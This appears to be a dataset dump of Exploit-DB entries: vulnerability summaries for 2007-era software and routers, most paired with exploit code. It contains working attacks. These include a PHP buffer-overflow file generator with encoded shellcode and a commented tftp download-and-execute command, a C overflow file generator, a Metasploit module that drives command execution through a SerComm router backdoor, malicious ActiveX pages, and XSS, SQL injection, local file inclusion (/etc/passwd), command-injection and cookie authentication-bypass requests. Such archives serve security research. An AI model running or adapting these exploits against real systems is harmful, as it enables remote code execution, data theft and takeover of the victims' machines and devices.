QLWD/code_shield huggingface dataset:
标题: Libnemesi 0.6.4-rc1 - Multiple Remote Buffer Overflow Vulnerabilities EDB-ID: 30943 CVE: 2007-6631 类型: DOS 平台: MULTIPLE 发布日期: 2007-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/27048/info

Libnemesi is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to execute arbitrary code in the context of applications that use the library. Failed attacks will cause denial-of-service conditions.

Libnemesi 0.6.4-rc1 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30943.zip URL: https://www.exploit-db.com/exploits/30943
标题: Zoom Player 3.30/5/6 - '.ZPL' Error Message Arbitrary Code Execution EDB-ID: 30933 CVE: 2007-6533 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/27007/info

Zoom Player is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.

This issue affects Zoom Player 6.00 beta 2 and all releases contained in the Zoom Player 5 branch.

<?php
/*
  Zoom Player Pro v.3.30 .m3u file buffer overflow exploit (seh)
  by Nine:Situations:Group::surfista

  seems the same of http://secunia.com/advisories/28214/
  bug found by Luigi Auriemma
  no full working exploit out, so I made my test version
/*
/*
//original shellcode, 27 bytes + command
//re-encode with
//alpha2 --unicode ecx <sh.txt
$scode =
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c tftp -i 192.168.0.1 GET s s.exe && s && ".
"\xff";
*/

$_scode="IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1".
        "AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBhkMC1Kn".
        "QWPnpNQGP3XPCPJaCEkJmo5TFsLYoHSNQUpiXgxyoKOKOosPmOtKpNOQSKp1d36rTp".
        "pkpNMpimPNQp9nRlnnQP6lxNNlplnP1MPPGQ524O0RSO02SnN35rXPeKpLfKvKp43kpkvmVMPkOA";

$buff="\x23\x45\x58\x54\x4d\x33\x55\x0d\x0a\x68\x74\x74\x70\x3a\x2f\x2f".
      "\x77\x77\x77".
       str_repeat("\x61",0xfe8).
       /* unicode preamble, alignment */
       "\x6e".                      //add byte ptr [esi],ch, nop equivalent [*]
       "\xd3\x45".                  //0x004500d3  unicode friendly pop - pop - ret, zplayer.exe
       "\x6e".                      //*
       "\x05\x7f\x4c".              //add eax,4c007f00h
       "\x6e".                      //*
       "\x2d\x59\x4c".              //sub eax,4c005900h
       "\x6e".                      //*
       "\x50".                      //push eax
       "\x6e".                      //*
       "\x59".                      //pop ecx
       str_repeat("\x6e\x90",0x7f). //nop
       "\x6e".                      //*
       "\x6a".                      //push 0, nop equivalent
       $_scode.
       str_repeat("\x90",0xbb8);
$_fp=@fopen("pwn.m3u","w+");
if (!$_fp) { die("[:(] Failed to create file...");}
fputs($_fp,$buff);
fclose($_fp);
print("[:)] Done!");
?> URL: https://www.exploit-db.com/exploits/30933
标题: AOL Picture Editor 'YGPPicEdit.dll' ActiveX Control 9.5.1.8 - Multiple Buffer Overflow Vulnerabilities EDB-ID: 30936 CVE: 2007-6699 类型: DOS 平台: WINDOWS 发布日期: 2007-12-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/27026/info

AOL Picture Editor 'YGPPicEdit.dll' ActiveX control is prone to multiple vulnerabilities that attackers can exploit to crash the application. The issues stem from various buffer-overflow conditions.

An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious HTML page.

Successfully exploiting these issues may allow remote attackers to crash the affected application using the ActiveX control (typically Internet Explorer), denying service to legitimate users. Reports indicate that this issue may not be exploited to execute arbitrary code.

AOL Picture Editor 'YGPPicEdit.dll' 9.5.1.8 is vulnerable; other versions may also be affected. 

<html>
 <head>
  <script language="JavaScript" DEFER>
   function Check() {
    var s = &#039;A&#039;;

    while (s.length <= 8175) s = s + &#039;A&#039;;


   obj.DisplayName = s;
   obj.DisplayName = s;
   obj.FinalSavePath = s;
   obj.ForceSaveTo = s;
   obj.HiddenControls = s;
   obj.InitialEditorScreen = s;
   obj.Locale = s;
   obj.Proxy = s;
   obj.UserAgent = s;


   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:085891E5-ED86-425F-8522-C10290FA8309">
</object>
</body>
</html> URL: https://www.exploit-db.com/exploits/30936
标题: Logaholic - 'profiles.php?newconfname' Cross-Site Scripting EDB-ID: 30932 CVE: 2007-6560 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/27003/info
   
Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
POST variable "newconfname" in  profiles.php?conf=nameofprofile to
>"><ScRiPt%20%0a%0d>alert(xss)%3B</ScRiPt> in /logaholic/profiles.php URL: https://www.exploit-db.com/exploits/30932
标题: Logaholic - 'index.php?conf' Cross-Site Scripting EDB-ID: 30931 CVE: 2007-6560 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/27003/info
  
Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
http://www.example.com/index.php?conf=<img+src=http://testingsite.com/yep.gif+onload=alert(812051443)> URL: https://www.exploit-db.com/exploits/30931
标题: Dokeos 1.x - '/forum/viewthread.php?forum' Cross-Site Scripting EDB-ID: 30924 CVE: 2007-6574 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/26992/info

Dokeos is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect Dokeos 1.8.4 and earlier versions. 

http://www.example.com/main/forum/viewthread.php?forum=XSS URL: https://www.exploit-db.com/exploits/30924
标题: Logaholic - 'update.php?page' SQL Injection EDB-ID: 30929 CVE: 2007-6559 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/27003/info

Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/logaholic/update.php?conf=nameofprofile&page=SQL INjection URL: https://www.exploit-db.com/exploits/30929
标题: Logaholic - 'index.php' SQL Injection EDB-ID: 30930 CVE: 2007-6559 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/27003/info
 
Logaholic is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues, a cross-site scripting issue, and an HTML-injection issue. The issues occur because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/logaholic/index.php?conf=nameofprofile&from=SQL INJECTION URL: https://www.exploit-db.com/exploits/30930
标题: Dokeos 1.x - '/work/work.php?display_upload_form Action origin' Cross-Site Scripting EDB-ID: 30926 CVE: 2007-6574 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/26992/info
  
Dokeos is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
These issues affect Dokeos 1.8.4 and earlier versions.

http://www.example.com/main/work/work.php?cidReq=[Forum-ID]&curdirpath=/&display_upload_form=true&origin=XSS URL: https://www.exploit-db.com/exploits/30926
标题: SiteScape Forum - 'dispatch.cgi' Tcl Command Injection EDB-ID: 30919 CVE: 2007-6515 类型: WEBAPPS 平台: CGI 发布日期: 2007-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/26963/info

SiteScape Forum is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary commands in the context of the webserver process. Successful exploits could compromise the application and possibly the underlying system.

http://www.example.com/forum/support/dispatch.cgi/0;command URL: https://www.exploit-db.com/exploits/30919
标题: MRBS 1.2.x - 'view_entry.php' SQL Injection EDB-ID: 30921 CVE: 2007-6538 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/26977/info

MRBS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue was previously documented as a vulnerability in Moodle. Further reports indicate this issue affects MRBS, and the MRBS module for Moodle. 

http://www.example.com/PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007 URL: https://www.exploit-db.com/exploits/30921
标题: iDevSpot iSupport 1.8 - 'index.php' Local File Inclusion EDB-ID: 30918 CVE: 2007-6539 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/26961/info

iSupport is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

This issue affects iSupport 1.8; other versions may also be affected. 


http://www.example.com/iSupport/index.php?include_file=[local file]
http://www.example.com/helpdesk/index.php?include_file=../../../../../proc/self/environ
http://www.example.com/helpdesk/index.php?include_file=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/30918
标题: Dokeos 1.x - '/forum/viewforum.php?forum' Cross-Site Scripting EDB-ID: 30925 CVE: 2007-6574 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/26992/info
 
Dokeos is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
These issues affect Dokeos 1.8.4 and earlier versions. 

http://www.example.com/main/forum/viewforum.php?cidReq=[Forum-ID]&forum=XSS URL: https://www.exploit-db.com/exploits/30925
标题: WinUAE 1.4.4 - 'zfile.c' Stack Buffer Overflow EDB-ID: 30922 CVE: 2007-6537 类型: DOS 平台: MULTIPLE 发布日期: 2007-12-21 漏洞利用脚本: // source: https://www.securityfocus.com/bid/26979/info

WinUAE is prone to a local stack-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

This issue affects versions prior to WinUAE 1.4.5. 

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>



#define VER     "0.1"
#define BOFSZ   10000   // 1000 + 8192 + the rest
#define BUFFSZ  (BOFSZ + 32)
#define u8      unsigned char



int putsc(u8 *data, int chr, int len);
int putxx(u8 *data, unsigned num, int bits);
void std_err(void);



int main(int argc, char *argv[]) {
    FILE    *fd;
    u8      *fname,
            *buff,
            *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "WinUAE <= 1.4.4 gunzip buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <output.ADZ>\n"
            "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    p = buff;
    p += putxx(p, 0x1f,     8);     // header[0]
    p += putxx(p, 0x8b,     8);     // header[1]
    p += putxx(p, 0x00,     8);     // header[2]
    p += putxx(p, 0x08,     8);     // flags
    p += putsc(p, 0x00,     6);     // rest of the header
    p += putsc(p, 'A',      BOFSZ); // filename buffer-overflow
    p += putxx(p, 0,        8);     // NULL byte delimiter
    p += putxx(p, -1,       32);    // force the return

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();
    fwrite(buff, 1, p - buff, fd);
    fclose(fd);
    free(buff);
    printf("- done\n");
    return(0);
}



int putsc(u8 *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
}



int putxx(u8 *data, unsigned num, int bits) {
    int     i,
            bytes;

    bytes = bits >> 3;

    for(i = 0; i < bytes; i++) {
        data[i] = (num >> (i << 3)) & 0xff;
    }
    return(bytes);
}



void std_err(void) {
    perror("\nError");
    exit(1);
} URL: https://www.exploit-db.com/exploits/30922
标题: HP eSupportDiagnostics 1.0.11 - 'hpediag.dll' ActiveX Control Multiple Information Disclosure Vulnerabilities EDB-ID: 30920 CVE: 2007-6513 类型: REMOTE 平台: WINDOWS 发布日期: 2007-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/26967/info

The HP eSupportDiagnostics ActiveX control is prone to multiple information-disclosure vulnerabilities.

An attacker can exploit these issues by enticing an unsuspecting victim to visit a malicious HTML page.

Successfully exploiting these issues allows remote attackers to obtain the contents of arbitrary files and registry values. Information harvested may aid in further attacks.

These issues affect 'hpediag.dll' 1.0.11.0; other versions may also be affected. 

<html>
<head>
 <script language="JavaScript" DEFER>
  function Check() {
   var out = fileUtil.ReadTextFile(somePath);
   var out = regUtil.ReadValue(somePath);

  }
 </script>

</head>
<body onload="JavaScript: return Check();">
 <object id="fileUtil" classid="clsid:CDAF9CEC-F3EC-4B22-ABA3-9726713560F8" />
 <object id="regUtil"  classid="clsid:0C378864-D5C4-4D9C-854C-432E3BEC9CCB" />
</body>
</html> URL: https://www.exploit-db.com/exploits/30920
标题: Burden 1.8 - Authentication Bypass EDB-ID: 30916 CVE: 2013-7137 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-14 漏洞利用脚本: Advisory ID: HTB23192
Product: Burden
Vendor: Josh Fradley
Vulnerable Version(s): 1.8 and probably prior
Tested Version: 1.8
Advisory Publication:  December 18, 2013  [without technical details]
Vendor Notification: December 18, 2013 
Vendor Patch: December 18, 2013 
Public Disclosure: January 8, 2014 
Vulnerability Type: Improper Authentication [CWE-287]
CVE Reference: CVE-2013-7137
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in application authentication mechanism in Burden, which can be exploited by remote non-authenticated attacker to gain administrative access to the vulnerable application.


1) Improper Authentication in Burden: CVE-2013-7137

The vulnerability exists due to insufficient authentication when handling "burden_user_rememberme" cookie parameter. A remote unauthenticated user can set "burden_user_rememberme" cookie to "1" and gain administrative access to the application. 

The exploitation example below shows HTTP GET request that grants administrative privileges to the user:


GET /login.php HTTP/1.1

Cookie: burden_user_rememberme=1;


The cookie can be also changed using a browser plugin such as Firebug for FireFox.

-----------------------------------------------------------------------------------------------

Solution:

Update to Burden 1.8.1

More Information:
https://github.com/joshf/Burden/releases/tag/1.8.1

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23192 - https://www.htbridge.com/advisory/HTB23192 - Improper Authentication in Burden.
[2] Burden - https://github.com/joshf - Burden is a full featured task management app written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. URL: https://www.exploit-db.com/exploits/30916
标题: SerComm Device - Remote Code Execution (Metasploit) EDB-ID: 30915 CVE: 2014-0659 类型: REMOTE 平台: HARDWARE 发布日期: 2014-01-14 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStagerEcho

  def initialize(info={})
    super(update_info(info,
      'Name'           => "SerComm Device Remote Code Execution",
      'Description'    => %q{
        This module will cause remote code execution on several SerComm devices.
        These devices typically include routers from NetGear and Linksys.
        Tested against NetGear DG834.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
        ],
      'Payload'        =>
        {
          'Space'       => 10000, # Could be more, but this should be good enough
          'DisableNops' => true
        },
      'Platform'       => 'linux',
      'Privileged'     => false,
      'Targets'        =>
        [
          ['Linux MIPS Big Endian',
            {
              'Arch' => ARCH_MIPSBE
            }
          ],
          ['Linux MIPS Little Endian',
            {
              'Arch' => ARCH_MIPSLE
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'OSVDB', '101653' ],
          [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
        ],
      'DisclosureDate' => "Dec 31 2013" ))

      register_options(
        [
          Opt::RPORT(32764)
        ], self.class)
  end

  def check
    fprint = endian_fingerprint

    case fprint
    when 'BE'
      print_status("Detected Big Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    when 'LE'
      print_status("Detected Little Endian")
      return Msf::Exploit::CheckCode::Vulnerable
    end

    return Msf::Exploit::CheckCode::Unknown
  end

  def exploit
    execute_cmdstager(:noargs => true)
  end

  def endian_fingerprint
    begin
      connect

      sock.put(rand_text(5))
      res = sock.get_once

      disconnect

      if res && res.start_with?("MMcS")
        return 'BE'
      elsif res && res.start_with?("ScMM")
        return 'LE'
      end
    rescue Rex::ConnectionError => e
      print_error("Connection failed: #{e.class}: #{e}")
    end

    return nil
  end

  def execute_command(cmd, opts)
    vprint_debug(cmd)

    # Get the length of the command, for the backdoor's command injection
    cmd_length = cmd.length

    # 0x53634d4d  => Backdoor code
    # 0x07        => Exec command
    # cmd_length  => Length of command to execute, sent after communication struct
    data = [0x53634d4d, 0x07, cmd_length].pack("VVV")

    connect
    # Send command structure followed by command text
    sock.put(data+cmd)
    disconnect

    Rex.sleep(1)
  end

end URL: https://www.exploit-db.com/exploits/30915
标题: Adobe Flash Player 7.0.x/8.0.x/9.0.x - ActiveX Control 'navigateToURL' API Cross Domain Scripting EDB-ID: 30907 CVE: 2007-6244 类型: REMOTE 平台: LINUX 发布日期: 2007-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26960/info

The Adobe Flash Player ActiveX control is prone to a cross-domain scripting vulnerability.

An attacker may leverage this issue to execute arbitrary JavaScript in the context of another domain.

This issue affects Adobe Flash Player 9.0.48.0, 8.0.35.0, and prior versions.

NOTE: This issue was previously disclosed in BID 26929 (Adobe Flash Player Multiple Security Vulnerabilities) but has been assigned its own BID because new technical details are available.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30907.as URL: https://www.exploit-db.com/exploits/30907